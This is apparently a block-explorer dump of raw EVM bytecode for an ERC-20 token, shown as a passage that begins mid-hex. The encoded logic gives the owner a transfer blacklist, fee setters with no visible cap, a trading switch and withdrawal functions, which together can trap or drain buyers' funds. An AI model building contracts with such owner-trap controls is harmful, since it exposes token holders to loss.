65b610a3e565b3480156103d3575f80fd5b506102a96103e2366004611d7e565b610aed565b3480156103f2575f80fd5b506102df60085481565b348015610407575f80fd5b506102df60155481565b34801561041c575f80fd5b50604051601281526020016102e9565b348015610437575f80fd5b50610351610446366004611da7565b610ba7565b348015610456575f80fd5b50610351610465366004611e3b565b60196020525f908152604090205460ff1681565b348015610484575f80fd5b5060075461035190600160b01b900460ff1681565b3480156104a4575f80fd5b506102df60095481565b3480156104b9575f80fd5b506102a96104c8366004611e5d565b610bdd565b3480156104d8575f80fd5b5060075461035190600160a81b900460ff1681565b3480156104f8575f80fd5b506102a9610507366004611e3b565b610c1f565b348015610517575f80fd5b506102df610526366004611e3b565b6001600160a01b03165f9081526020819052604090205490565b34801561054b575f80fd5b506102a9610c6b565b34801561055f575f80fd5b50600f5460105460115461057292919083565b604080519384526020840192909252908201526060016102e9565b348015610598575f80fd5b50600d546105ac906001600160a01b031681565b6040516001600160a01b0390911681526020016102e9565b3480156105cf575f80fd5b506102a9610ca0565b3480156105e3575f80fd5b506102df600b5481565b3480156105f8575f80fd5b506102a9610607366004611da7565b610d34565b348015610617575f80fd5b506005546001600160a01b03166105ac565b348015610634575f80fd5b50600e546105ac906001600160a01b031681565b348015610653575f80fd5b50610306610df2565b348015610667575f80fd5b506102a9610676366004611e3b565b610e01565b348015610686575f80fd5b506102a9610695366004611e5d565b610e4d565b3480156106a5575f80fd5b506102a96106b4366004611e5d565b610e7c565b3480156106c4575f80fd5b506103516106d3366004611da7565b610ece565b3480156106e3575f80fd5b506007546105ac906001600160a01b031681565b348015610702575f80fd5b50610351610711366004611da7565b610f68565b348015610721575f80fd5b506102df600c5481565b348015610736575f80fd5b506102a9610745366004611e5d565b610f74565b348015610755575f80fd5b50610351610764366004611e3b565b60186020525f908152604090205460ff1681565b348015610783575f80fd5b506102df610792366004611dd1565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156107c7575f80fd5b506102a96107d6366004611e74565b610fb6565b3480156107e6575f80fd5b506102a96107f5366004611cfc565b610ffe565b348015610805575f80fd5b506102a9610814366004611d7e565b611052565b348015610824575f80fd5b506102a9610833366004611e3b565b6110c0565b348015610843575f80fd5b5060125460135460145461057292919083565b348015610861575f80fd5b506006546105ac906001600160a01b031681565b6005546001600160a01b031633146108a85760405162461bcd60e51b815260040161089f90611e8f565b60405180910390fd5b6001600160a01b03919091165f908152601960205260409020805460ff1916911515919091179055565b6060600380546108e190611ec4565b80601f016020809104026020016040519081016040528092919081815260200182805461090d90611ec4565b80156109585780601f1061092f57610100808354040283529160200191610958565b820191905f5260205f20905b81548152906001019060200180831161093b57829003601f168201915b5050505050905090565b6005546001600160a01b0316331461098c5760405162461bcd60e51b815260040161089f90611e8f565b604080516060810182528481526020810184905201819052601283905560138290556014819055806109be8385611f10565b6109c89190611f10565b601655505050565b5f6109dc338484611158565b5060015b92915050565b6005546001600160a01b03163314610a105760405162461bcd60e51b815260040161089f90611e8f565b600680546001600160a01b039384166001600160a01b03199182161790915560078054929093169116179055565b5f610a4a84848461127b565b6001600160a01b0384165f90815260016020908152604080832033845290915290205482811015610ace5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161089f565b610ae28533610add8685611f23565b611158565b506001949350505050565b6005546001600160a01b03163314610b175760405162461bcd60e51b815260040161089f90611e8f565b47610b218461164a565b5f610b2c8247611f23565b90508215610b6757610b67610b418486611f10565b610b4b8584611f36565b610b559190611f4d565b600d546001600160a01b03169061179a565b8315610ba057610ba0610b7a8486611f10565b610b848684611f36565b610b8e9190611f4d565b600e546001600160a01b03169061179a565b5050505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490916109dc918590610add908690611f10565b6005546001600160a01b03163314610c075760405162461bcd60e51b815260040161089f90611e8f565b610c1981670de0b6b3a7640000611f36565b600b5550565b6005546001600160a01b03163314610c495760405162461bcd60e51b815260040161089f90611e8f565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610c955760405162461bcd60e51b815260040161089f90611e8f565b610c9e5f6118af565b565b6005546001600160a01b03163314610cca5760405162461bcd60e51b815260040161089f90611e8f565b600754600160b01b900460ff1615610d1d5760405162461bcd60e51b815260206004820152601660248201527554726164696e6720616c72656164792061637469766560501b604482015260640161089f565b6007805461ffff60a81b191661010160a81b179055565b6005546001600160a01b03163314610d5e5760405162461bcd60e51b815260040161089f90611e8f565b816001600160a01b031663a9059cbb610d7f6005546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610dc9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ded9190611f6c565b505050565b6060600480546108e190611ec4565b6005546001600160a01b03163314610e2b5760405162461bcd60e51b815260040161089f90611e8f565b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610e775760405162461bcd60e51b815260040161089f90611e8f565b600a55565b6005546001600160a01b03163314610ea65760405162461bcd60e51b815260040161089f90611e8f565b610ecb81610ebc6005546001600160a01b031690565b6001600160a01b03169061179a565b50565b335f9081526001602090815260408083206001600160a01b038616845290915281205482811015610f4f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161089f565b610f5e3385610add8685611f23565b5060019392505050565b5f6109dc33848461127b565b6005546001600160a01b03163314610f9e5760405162461bcd60e51b815260040161089f90611e8f565b610fb081670de0b6b3a7640000611f36565b600c5550565b6005546001600160a01b03163314610fe05760405162461bcd60e51b815260040161089f90611e8f565b60078054911515600160a81b0260ff60a81b19909216919091179055565b6005546001600160a01b031633146110285760405162461bcd60e51b815260040161089f90611e8f565b6001600160a01b03919091165f908152601860205260409020805460ff1916911515919091179055565b6005546001600160a01b0316331461107c5760405162461bcd60e51b815260040161089f90611e8f565b604080516060810182528481526020810184905201819052600f83905560108290556011819055806110ae8385611f10565b6110b89190611f10565b601555505050565b6005546001600160a01b031633146110ea5760405162461bcd60e51b815260040161089f90611e8f565b6001600160a01b03811661114f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161089f565b610ecb816118af565b6001600160a01b0383166111ba5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161089f565b6001600160a01b03821661121b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161089f565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f81116112dc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161089f565b6001600160a01b0383165f9081526019602052604090205460ff1615801561131c57506001600160a01b0382165f9081526019602052604090205460ff16155b6113685760405162461bcd60e51b815260206004820152601960248201527f596f752063616e2774207472616e7366657220746f6b656e7300000000000000604482015260640161089f565b6001600160a01b0383165f9081526018602052604090205460ff161580156113a857506001600160a01b0382165f9081526018602052604090205460ff16155b80156113be5750600754600160a01b900460ff16155b1561150057600754600160b01b900460ff166114155760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81b9bdd081858dd1a5d99481e595d60521b604482015260640161089f565b600b548111156114675760405162461bcd60e51b815260206004820152601d60248201527f596f752061726520657863656564696e67206d61785478416d6f756e74000000604482015260640161089f565b6007546001600160a01b0383811691161461150057600c548161149e846001600160a01b03165f9081526020819052604090205490565b6114a89190611f10565b11156115005760405162461bcd60e51b815260206004820152602160248201527f596f752061726520657863656564696e67206d617857616c6c6574416d6f756e6044820152601d60fa1b606482015260840161089f565b6007545f90600160a01b900460ff168061153157506001600160a01b0384165f9081526018602052604090205460ff165b8061155357506001600160a01b0383165f9081526018602052604090205460ff165b1561155f57505f6115ca565b6007546001600160a01b03908116908416036115ad5760175460649060ff16151560011461158e576064611592565b6016545b61159c9084611f36565b6115a69190611f4d565b90506115ca565b6064601554836115bd9190611f36565b6115c79190611f4d565b90505b600754600160a81b900460ff1680156115ed5750600754600160a01b900460ff16155b801561160757506007546001600160a01b03858116911614155b801561161257505f81115b1561161f5761161f611900565b611633848461162e8486611f23565b611a5b565b801561164457611644843083611a5b565b50505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061167d5761167d611f87565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116f89190611f9b565b8160018151811061170b5761170b611f87565b6001600160a01b0392831660209182029290920101526006546117319130911684611158565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906117699085905f90869030904290600401611fb6565b5f604051808303815f87803b158015611780575f80fd5b505af1158015611792573d5f803e3d5ffd5b505050505050565b804710156117ea5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015260640161089f565b5f826001600160a01b0316826040515f6040518083038185875af1925050503d805f8114611833576040519150601f19603f3d011682016040523d82523d5f602084013e611838565b606091505b5050905080610ded5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d61792068617665207265766572746564000000000000606482015260840161089f565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b600754600160a01b900460ff16610c9e576007805460ff60a01b1916600160a01b179055305f908152602081905260408120549050600a548110611a4b575f601654600261194e9190611f36565b90505f81601260010154846119639190611f36565b61196d9190611f4d565b90505f61197a8285611f23565b9050476119868261164a565b5f6119918247611f23565b6013549091505f906119a39087611f23565b6119ad9083611f4d565b6013549091505f906119bf9083611f36565b905080156119d1576119d18682611c31565b6012545f906119e1846002611f36565b6119eb9190611f36565b90508015611a0957600d54611a09906001600160a01b03168261179a565b6014545f90611a19856002611f36565b611a239190611f36565b90508015611a4157600e54611a41906001600160a01b03168261179a565b5050505050505050505b506007805460ff60a01b19169055565b6001600160a01b038316611abf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161089f565b6001600160a01b038216611b215760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161089f565b6001600160a01b0383165f9081526020819052604090205481811015611b985760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161089f565b611ba28282611f23565b6001600160a01b038086165f908152602081905260408082209390935590851681529081208054849290611bd7908490611f10565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c2391815260200190565b60405180910390a350505050565b600654611c499030906001600160a01b031684611158565b600654600e5460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611cb6573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ba09190612025565b6001600160a01b0381168114610ecb575f80fd5b8015158114610ecb575f80fd5b5f8060408385031215611d0d575f80fd5b8235611d1881611cdb565b91506020830135611d2881611cef565b809150509250929050565b5f6020808352835180828501525f5b81811015611d5e57858101830151858201604001528201611d42565b505f604082860101526040601f19601f8301168501019250505092915050565b5f805f60608486031215611d90575f80fd5b505081359360208301359350604090920135919050565b5f8060408385031215611db8575f80fd5b8235611dc381611cdb565b946020939093013593505050565b5f8060408385031215611de2575f80fd5b8235611ded81611cdb565b91506020830135611d2881611cdb565b5f805f60608486031215611e0f575f80fd5b8335611e1a81611cdb565b92506020840135611e2a81611cdb565b929592945050506040919091013590565b5f60208284031215611e4b575f80fd5b8135611e5681611cdb565b9392505050565b5f60208284031215611e6d575f80fd5b5035919050565b5f60208284031215611e84575f80fd5b8135611e5681611cef565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680611ed857607f821691505b602082108103611ef657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156109e0576109e0611efc565b818103818111156109e0576109e0611efc565b80820281158282048414176109e0576109e0611efc565b5f82611f6757634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611f7c575f80fd5b8151611e5681611cef565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611fab575f80fd5b8151611e5681611cdb565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156120045784516001600160a01b031683529383019391830191600101611fdf565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215612037575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220b6cddc50227acb66877206d9349a3df53706703dfe283b6b9378da9aa3b54dee64736f6c63430008140033

Deployed Bytecode

0x608060405260043610610283575f3560e01c8063728f8eea11610155578063a8aa1b31116100be578063e01af92c11610078578063e01af92c146107bc578063e545fd6d146107db578063e9dae5ed146107fa578063f2fde38b14610819578063f66895a314610838578063f887ea4014610856575f80fd5b8063a8aa1b31146106d8578063a9059cbb146106f7578063aa4bde2814610716578063c18bc1951461072b578063dbe66ca01461074a578063dd62ed3e14610778575f80fd5b80638ea5220f1161010f5780638ea5220f1461062957806395d89b411461064857806396c24e4b1461065c5780639d0014b11461067b5780639e252f001461069a578063a457c2d7146106b9575f80fd5b8063728f8eea1461055457806375f0a8741461058d5780638a8c523c146105c45780638c0b5e22146105d85780638cd4426d146105ed5780638da5cb5b1461060c575f80fd5b8063274a533c116101f757806350c9a88f116101b157806350c9a88f146104995780636256d181146104ae5780636ddd1713146104cd578063703a4902146104ed57806370a082311461050c578063715018a614610540575f80fd5b8063274a533c146103e7578063293b7ef4146103fc578063313ce56714610411578063395093511461042c5780633bbac5791461044b5780634ada218b14610479575f80fd5b8063095ea7b311610248578063095ea7b31461033257806318160ddd146103615780631f5d4822146103755780632253163d1461039457806323b872dd146103a957806326b5d32f146103c8575f80fd5b806303a4a7521461028e57806303c0f5d4146102ab5780630445b667146102ca57806306fdde03146102f25780630873321414610313575f80fd5b3661028a57005b5f80fd5b348015610299575f80fd5b506102a96017805460ff19169055565b005b3480156102b6575f80fd5b506102a96102c5366004611cfc565b610875565b3480156102d5575f80fd5b506102df600a5481565b6040519081526020015b60405180910390f35b3480156102fd575f80fd5b506103066108d2565b6040516102e99190611d33565b34801561031e575f80fd5b506102a961032d366004611d7e565b610962565b34801561033d575f80fd5b5061035161034c366004611da7565b6109d0565b60405190151581526020016102e9565b34801561036c575f80fd5b506002546102df565b348015610380575f80fd5b506102a961038f366004611dd1565b6109e6565b34801561039f575f80fd5b506102df60165481565b3480156103b4575f80fd5b506103516103c3366004611dfd565b610a3e565b3480156103d3575f80fd5b506102a96103e2366004611d7e565b610aed565b3480156103f2575f80fd5b506102df60085481565b348015610407575f80fd5b506102df60155481565b34801561041c575f80fd5b50604051601281526020016102e9565b348015610437575f80fd5b50610351610446366004611da7565b610ba7565b348015610456575f80fd5b50610351610465366004611e3b565b60196020525f908152604090205460ff1681565b348015610484575f80fd5b5060075461035190600160b01b900460ff1681565b3480156104a4575f80fd5b506102df60095481565b3480156104b9575f80fd5b506102a96104c8366004611e5d565b610bdd565b3480156104d8575f80fd5b5060075461035190600160a81b900460ff1681565b3480156104f8575f80fd5b506102a9610507366004611e3b565b610c1f565b348015610517575f80fd5b506102df610526366004611e3b565b6001600160a01b03165f9081526020819052604090205490565b34801561054b575f80fd5b506102a9610c6b565b34801561055f575f80fd5b50600f5460105460115461057292919083565b604080519384526020840192909252908201526060016102e9565b348015610598575f80fd5b50600d546105ac906001600160a01b031681565b6040516001600160a01b0390911681526020016102e9565b3480156105cf575f80fd5b506102a9610ca0565b3480156105e3575f80fd5b506102df600b5481565b3480156105f8575f80fd5b506102a9610607366004611da7565b610d34565b348015610617575f80fd5b506005546001600160a01b03166105ac565b348015610634575f80fd5b50600e546105ac906001600160a01b031681565b348015610653575f80fd5b50610306610df2565b348015610667575f80fd5b506102a9610676366004611e3b565b610e01565b348015610686575f80fd5b506102a9610695366004611e5d565b610e4d565b3480156106a5575f80fd5b506102a96106b4366004611e5d565b610e7c565b3480156106c4575f80fd5b506103516106d3366004611da7565b610ece565b3480156106e3575f80fd5b506007546105ac906001600160a01b031681565b348015610702575f80fd5b50610351610711366004611da7565b610f68565b348015610721575f80fd5b506102df600c5481565b348015610736575f80fd5b506102a9610745366004611e5d565b610f74565b348015610755575f80fd5b50610351610764366004611e3b565b60186020525f908152604090205460ff1681565b348015610783575f80fd5b506102df610792366004611dd1565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156107c7575f80fd5b506102a96107d6366004611e74565b610fb6565b3480156107e6575f80fd5b506102a96107f5366004611cfc565b610ffe565b348015610805575f80fd5b506102a9610814366004611d7e565b611052565b348015610824575f80fd5b506102a9610833366004611e3b565b6110c0565b348015610843575f80fd5b5060125460135460145461057292919083565b348015610861575f80fd5b506006546105ac906001600160a01b031681565b6005546001600160a01b031633146108a85760405162461bcd60e51b815260040161089f90611e8f565b60405180910390fd5b6001600160a01b03919091165f908152601960205260409020805460ff1916911515919091179055565b6060600380546108e190611ec4565b80601f016020809104026020016040519081016040528092919081815260200182805461090d90611ec4565b80156109585780601f1061092f57610100808354040283529160200191610958565b820191905f5260205f20905b81548152906001019060200180831161093b57829003601f168201915b5050505050905090565b6005546001600160a01b0316331461098c5760405162461bcd60e51b815260040161089f90611e8f565b604080516060810182528481526020810184905201819052601283905560138290556014819055806109be8385611f10565b6109c89190611f10565b601655505050565b5f6109dc338484611158565b5060015b92915050565b6005546001600160a01b03163314610a105760405162461bcd60e51b815260040161089f90611e8f565b600680546001600160a01b039384166001600160a01b03199182161790915560078054929093169116179055565b5f610a4a84848461127b565b6001600160a01b0384165f90815260016020908152604080832033845290915290205482811015610ace5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161089f565b610ae28533610add8685611f23565b611158565b506001949350505050565b6005546001600160a01b03163314610b175760405162461bcd60e51b815260040161089f90611e8f565b47610b218461164a565b5f610b2c8247611f23565b90508215610b6757610b67610b418486611f10565b610b4b8584611f36565b610b559190611f4d565b600d546001600160a01b03169061179a565b8315610ba057610ba0610b7a8486611f10565b610b848684611f36565b610b8e9190611f4d565b600e546001600160a01b03169061179a565b5050505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490916109dc918590610add908690611f10565b6005546001600160a01b03163314610c075760405162461bcd60e51b815260040161089f90611e8f565b610c1981670de0b6b3a7640000611f36565b600b5550565b6005546001600160a01b03163314610c495760405162461bcd60e51b815260040161089f90611e8f565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610c955760405162461bcd60e51b815260040161089f90611e8f565b610c9e5f6118af565b565b6005546001600160a01b03163314610cca5760405162461bcd60e51b815260040161089f90611e8f565b600754600160b01b900460ff1615610d1d5760405162461bcd60e51b815260206004820152601660248201527554726164696e6720616c72656164792061637469766560501b604482015260640161089f565b6007805461ffff60a81b191661010160a81b179055565b6005546001600160a01b03163314610d5e5760405162461bcd60e51b815260040161089f90611e8f565b816001600160a01b031663a9059cbb610d7f6005546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610dc9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ded9190611f6c565b505050565b6060600480546108e190611ec4565b6005546001600160a01b03163314610e2b5760405162461bcd60e51b815260040161089f90611e8f565b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610e775760405162461bcd60e51b815260040161089f90611e8f565b600a55565b6005546001600160a01b03163314610ea65760405162461bcd60e51b815260040161089f90611e8f565b610ecb81610ebc6005546001600160a01b031690565b6001600160a01b03169061179a565b50565b335f9081526001602090815260408083206001600160a01b038616845290915281205482811015610f4f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161089f565b610f5e3385610add8685611f23565b5060019392505050565b5f6109dc33848461127b565b6005546001600160a01b03163314610f9e5760405162461bcd60e51b815260040161089f90611e8f565b610fb081670de0b6b3a7640000611f36565b600c5550565b6005546001600160a01b03163314610fe05760405162461bcd60e51b815260040161089f90611e8f565b60078054911515600160a81b0260ff60a81b19909216919091179055565b6005546001600160a01b031633146110285760405162461bcd60e51b815260040161089f90611e8f565b6001600160a01b03919091165f908152601860205260409020805460ff1916911515919091179055565b6005546001600160a01b0316331461107c5760405162461bcd60e51b815260040161089f90611e8f565b604080516060810182528481526020810184905201819052600f83905560108290556011819055806110ae8385611f10565b6110b89190611f10565b601555505050565b6005546001600160a01b031633146110ea5760405162461bcd60e51b815260040161089f90611e8f565b6001600160a01b03811661114f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161089f565b610ecb816118af565b6001600160a01b0383166111ba5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161089f565b6001600160a01b03821661121b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161089f565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f81116112dc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161089f565b6001600160a01b0383165f9081526019602052604090205460ff1615801561131c57506001600160a01b0382165f9081526019602052604090205460ff16155b6113685760405162461bcd60e51b815260206004820152601960248201527f596f752063616e2774207472616e7366657220746f6b656e7300000000000000604482015260640161089f565b6001600160a01b0383165f9081526018602052604090205460ff161580156113a857506001600160a01b0382165f9081526018602052604090205460ff16155b80156113be5750600754600160a01b900460ff16155b1561150057600754600160b01b900460ff166114155760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81b9bdd081858dd1a5d99481e595d60521b604482015260640161089f565b600b548111156114675760405162461bcd60e51b815260206004820152601d60248201527f596f752061726520657863656564696e67206d61785478416d6f756e74000000604482015260640161089f565b6007546001600160a01b0383811691161461150057600c548161149e846001600160a01b03165f9081526020819052604090205490565b6114a89190611f10565b11156115005760405162461bcd60e51b815260206004820152602160248201527f596f752061726520657863656564696e67206d617857616c6c6574416d6f756e6044820152601d60fa1b606482015260840161089f565b6007545f90600160a01b900460ff168061153157506001600160a01b0384165f9081526018602052604090205460ff165b8061155357506001600160a01b0383165f9081526018602052604090205460ff165b1561155f57505f6115ca565b6007546001600160a01b03908116908416036115ad5760175460649060ff16151560011461158e576064611592565b6016545b61159c9084611f36565b6115a69190611f4d565b90506115ca565b6064601554836115bd9190611f36565b6115c79190611f4d565b90505b600754600160a81b900460ff1680156115ed5750600754600160a01b900460ff16155b801561160757506007546001600160a01b03858116911614155b801561161257505f81115b1561161f5761161f611900565b611633848461162e8486611f23565b611a5b565b801561164457611644843083611a5b565b50505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061167d5761167d611f87565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116f89190611f9b565b8160018151811061170b5761170b611f87565b6001600160a01b0392831660209182029290920101526006546117319130911684611158565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906117699085905f90869030904290600401611fb6565b5f604051808303815f87803b158015611780575f80fd5b505af1158015611792573d5f803e3d5ffd5b505050505050565b804710156117ea5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015260640161089f565b5f826001600160a01b0316826040515f6040518083038185875af1925050503d805f8114611833576040519150601f19603f3d011682016040523d82523d5f602084013e611838565b606091505b5050905080610ded5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d61792068617665207265766572746564000000000000606482015260840161089f565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b600754600160a01b900460ff16610c9e576007805460ff60a01b1916600160a01b179055305f908152602081905260408120549050600a548110611a4b575f601654600261194e9190611f36565b90505f81601260010154846119639190611f36565b61196d9190611f4d565b90505f61197a8285611f23565b9050476119868261164a565b5f6119918247611f23565b6013549091505f906119a39087611f23565b6119ad9083611f4d565b6013549091505f906119bf9083611f36565b905080156119d1576119d18682611c31565b6012545f906119e1846002611f36565b6119eb9190611f36565b90508015611a0957600d54611a09906001600160a01b03168261179a565b6014545f90611a19856002611f36565b611a239190611f36565b90508015611a4157600e54611a41906001600160a01b03168261179a565b5050505050505050505b506007805460ff60a01b19169055565b6001600160a01b038316611abf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161089f565b6001600160a01b038216611b215760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161089f565b6001600160a01b0383165f9081526020819052604090205481811015611b985760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161089f565b611ba28282611f23565b6001600160a01b038086165f908152602081905260408082209390935590851681529081208054849290611bd7908490611f10565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c2391815260200190565b60405180910390a350505050565b600654611c499030906001600160a01b031684611158565b600654600e5460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611cb6573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ba09190612025565b6001600160a01b0381168114610ecb575f80fd5b8015158114610ecb575f80fd5b5f8060408385031215611d0d575f80fd5b8235611d1881611cdb565b91506020830135611d2881611cef565b809150509250929050565b5f6020808352835180828501525f5b81811015611d5e57858101830151858201604001528201611d42565b505f604082860101526040601f19601f8301168501019250505092915050565b5f805f60608486031215611d90575f80fd5b505081359360208301359350604090920135919050565b5f8060408385031215611db8575f80fd5b8235611dc381611cdb565b946020939093013593505050565b5f8060408385031215611de2575f80fd5b8235611ded81611cdb565b91506020830135611d2881611cdb565b5f805f60608486031215611e0f575f80fd5b8335611e1a81611cdb565b92506020840135611e2a81611cdb565b929592945050506040919091013590565b5f60208284031215611e4b575f80fd5b8135611e5681611cdb565b9392505050565b5f60208284031215611e6d575f80fd5b5035919050565b5f60208284031215611e84575f80fd5b8135611e5681611cef565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680611ed857607f821691505b602082108103611ef657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156109e0576109e0611efc565b818103818111156109e0576109e0611efc565b80820281158282048414176109e0576109e0611efc565b5f82611f6757634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611f7c575f80fd5b8151611e5681611cef565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611fab575f80fd5b8151611e5681611cdb565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156120045784516001600160a01b031683529383019391830191600101611fdf565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215612037575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220b6cddc50227acb66877206d9349a3df53706703dfe283b6b9378da9aa3b54dee64736f6c63430008140033

Deployed Bytecode Sourcemap

